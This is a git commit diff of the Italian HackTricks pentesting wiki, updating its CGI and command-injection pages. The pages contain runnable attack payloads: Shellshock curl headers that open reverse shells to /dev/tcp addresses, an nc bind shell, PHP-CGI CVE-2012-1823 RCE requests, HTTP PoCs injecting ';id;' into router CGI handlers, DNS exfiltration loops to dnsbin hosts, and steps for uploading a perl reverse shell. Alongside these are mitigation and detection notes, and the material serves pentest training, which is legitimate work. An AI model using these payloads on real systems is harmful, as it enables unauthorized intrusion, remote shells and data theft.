Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-

2025-10-10 18:36:50 +00:00 · 2025-10-04 09:57:09 +00:00 · 2025-10-04 09:57:09 +00:00 · a42bf82087
commit a42bf82087
parent abf2e7c968
2 changed files with 100 additions and 35 deletions
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@ -1,27 +1,30 @@
+# CGI Pentesting
+
 {{#include ../../banners/hacktricks-training.md}}

-# Informazioni

-Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ script, puoi **caricare una reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiare l'estensione** da **.pl** a **.cgi**, dare **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal browser web** per eseguirla. 
-Per testare le **vulnerabilità CGI** è consigliato usare `nikto -C all` \(e tutti i plugin\)
+## Informazioni

-# **ShellShock**
+Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **caricare una perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **cambiare l'estensione** da **.pl** a **.cgi**, dare i **permessi di esecuzione** (`chmod +x`) e **accedere** alla reverse shell **dal browser** per eseguirla.
+Per testare le **CGI vulns** è consigliato usare `nikto -C all` (e tutti i plugin)

-**ShellShock** è una **vulnerabilità** che colpisce la **Bash**, la shell a riga di comando ampiamente utilizzata nei sistemi operativi basati su Unix. Colpisce la capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili di ambiente**, che sono valori nominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice malevolo** alle variabili di ambiente, che viene eseguito al ricevimento della variabile. Questo consente agli attaccanti di compromettere potenzialmente il sistema.
+## **ShellShock**

-Sfruttando questa vulnerabilità, la **pagina potrebbe generare un errore**.
+**ShellShock** è una **vulnerabilità** che colpisce la diffusissima shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori nominati dinamici che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttarla allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di compromettere potenzialmente il sistema.

-Puoi **trovare** questa vulnerabilità notando che sta utilizzando una **vecchia versione di Apache** e **cgi_mod** \(con cartella cgi\) o usando **nikto**.
+Sfruttando questa vulnerabilità la **pagina potrebbe restituire un errore**.

-## **Test**
+Puoi **trovare** questa vulnerabilità notando che usa una **vecchia versione di Apache** e **cgi_mod** (con la cartella cgi) o usando **nikto**.

-La maggior parte dei test si basa sull'eco di qualcosa e si aspetta che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.
+### **Test**
+
+La maggior parte dei test si basano sul fare echo di qualcosa e aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.

 **Nmap**
 ```bash
 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
 ```
-## **Curl \(riflesso, cieco e out-of-band\)**
+## **Curl \(riflesso, blind e out-of-band\)**
 ```bash
 # Reflected
 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
 ```bash
 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
 ```
-## Sfruttamento
+### Exploit
 ```bash
 #Bind Shell
 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -48,23 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-# **Proxy \(MitM per richieste al server web\)**
+## Dispatcher CGI centralizzati (single endpoint routing via selector parameters)

-CGI crea una variabile di ambiente per ogni intestazione nella richiesta http. Ad esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com"
+Molte interfacce web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un selector parameter come `topicurl=<handler>` per instradare la richiesta a una funzione interna.

-Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal server web. Prova a inviare un **header** contenente: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" e se il server esegue qualche richiesta durante la sessione. Sarai in grado di catturare ogni richiesta effettuata dal server.
+Metodologia per sfruttare questi router:

-# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+- Enumerare i nomi dei handler: scrape di JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per stringhe di handler usate dal dispatcher.
+- Testare la reachability non autenticata: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente.
+- Concentrarsi su handler che invocano system utilities o che eseguono touch su file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`.

-Fondamentalmente, se cgi è attivo e php è "vecchio" \(&lt;5.3.12 / &lt; 5.4.2\) puoi eseguire codice. 
-Per sfruttare questa vulnerabilità devi accedere a qualche file PHP del server web senza inviare parametri \(soprattutto senza inviare il carattere "="\). 
-Poi, per testare questa vulnerabilità, potresti accedere ad esempio a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**.
+Schemi generici di exploit:
+```http
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded

-Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e il **codice PHP** da eseguire nel **corpo della richiesta. Esempio:**
+# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
+topicurl=<handler>&param=-n
+
+# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+
+# 3) Validator bypass → arbitrary file write in file-touching handlers
+topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
+```
+Rilevamento e hardening:
+
+- Monitorare richieste non autenticate a endpoint CGI centralizzati con `topicurl` impostato su handler sensibili.
+- Segnala i parametri che iniziano con `-` (argv option injection attempts).
+- Fornitori: imporre l'autenticazione su tutti gli handlers che modificano lo stato, convalidare usando strict allowlists/types/lengths, e non passare mai stringhe controllate dall'utente come flag della riga di comando.
+
+## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+
+Fondamentalmente se cgi è attivo e php è "vecchio" \(&lt;5.3.12 / &lt; 5.4.2\) puoi eseguire codice.
+Per sfruttare questa vulnerabilità devi accedere a un file PHP del web server senza inviare parametri \(specialmente senza inviare il carattere "="\).
+Per testare questa vulnerabilità, puoi ad esempio accedere a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**.
+
+Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **codice PHP** da eseguire nel **corpo della richiesta**. Esempio:
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**Ulteriori informazioni sulla vulnerabilità e possibili exploit:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**Maggiori informazioni sul vuln e possibili exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

+## **Proxy \(MitM alle richieste al Web server\)**
+
+CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com"
+
+Poiché la variabile HTTP_PROXY potrebbe essere usata dal web server, prova a inviare un **header** contenente: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" e, se il server esegue qualsiasi richiesta durante la sessione, potrai catturare ogni richiesta fatta dal server.
+
+## **References**
+
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -2,9 +2,9 @@

 {{#include ../banners/hacktricks-training.md}}

-## Cos'è command Injection?
+## Che cos'è command Injection?

-Una **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente permette all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
+A **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attaccante di ottenere accesso o controllo non autorizzato sull'ambiente dell'applicazione e sul sistema sottostante.

 ### Contesto

@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limitazione** Bypasses
-
-Se stai cercando di eseguire **arbitrary commands inside a linux machine** ti interesserà leggere questi **Bypasses:**
+### **Limition** Bypasses

+Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere questi **Bypasses:**

 {{#ref}}
 ../linux-hardening/bypass-bash-restrictions/
@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parametri

-Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e a vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e simili vulnerabilità RCE (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -89,9 +88,9 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### Esfiltrazione di dati via DNS
+### DNS based data exfiltration

-Basato sullo strumento da `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca
+Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Strumenti online per verificare l'esfiltrazione di dati basata su DNS:
+Strumenti online per controllare DNS based data exfiltration:

 - dnsbin.zhack.ca
 - pingb.in

-### Bypass del filtraggio
+### Filtering bypass

 #### Windows
 ```
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad

 ### Node.js `child_process.exec` vs `execFile`

-Quando si analizzano i back-end JavaScript/TypeScript, ci si imbatte spesso nell'API Node.js `child_process`.
+Quando esamini back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input utente viene concatenato nella stringa.
+`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) causa **command injection** quando l'input dell'utente viene concatenato nella stringa.

-**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che nessuna shell sia coinvolta:
+**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che non venga coinvolta nessuna shell:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@ -140,9 +139,38 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user` che venivano poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).
+Real-world case: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).

-## Lista di rilevamento per Brute-Force
+### Injection di argomenti/opzioni tramite trattino iniziale (argv, senza metacaratteri di shell)
+
+Non tutte le injection richiedono metacaratteri di shell. Se l'applicazione passa stringhe non affidabili come argomenti a un utility di sistema (anche con `execve`/`execFile` e senza shell), molti programmi interpreteranno comunque qualsiasi argomento che inizi con `-` o `--` come opzione. Questo permette a un attaccante di cambiare modalità, modificare percorsi di output o attivare comportamenti pericolosi senza mai entrare in una shell.
+
+Luoghi tipici in cui questo appare:
+
+- Embedded web UIs/CGI handlers che costruiscono comandi come `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, ecc.
+- Router CGI centralizzati (es., `/cgi-bin/<something>.cgi` con un parametro selector come `topicurl=<handler>`) dove più handler riutilizzano lo stesso validatore debole.
+
+Cosa provare:
+
+- Fornire valori che iniziano con `-`/`--` per farli interpretare come flag dallo strumento a valle.
+- Abusare di flag che cambiano comportamento o scrivono file, per esempio:
+  - `ping`: `-f`/`-c 100000` per stressare il dispositivo (DoS)
+  - `curl`: `-o /tmp/x` per scrivere percorsi arbitrari, `-K <url>` per caricare configurazioni controllate dall'attaccante
+  - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere esecuzione post-rotate in wrapper non sicuri
+- Se il programma supporta `--` (end-of-options), provare a bypassare mitigazioni ingenue che prependono `--` nel posto sbagliato.
+
+Forme generiche di PoC contro dispatcher CGI centralizzati:
+```
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+# Flip options in a downstream tool via argv injection
+topicurl=<handler>&param=-n
+
+# Unauthenticated RCE when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+```
+## Lista di rilevamento Brute-Force


 {{#ref}}
@ -157,5 +185,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../banners/hacktricks-training.md}}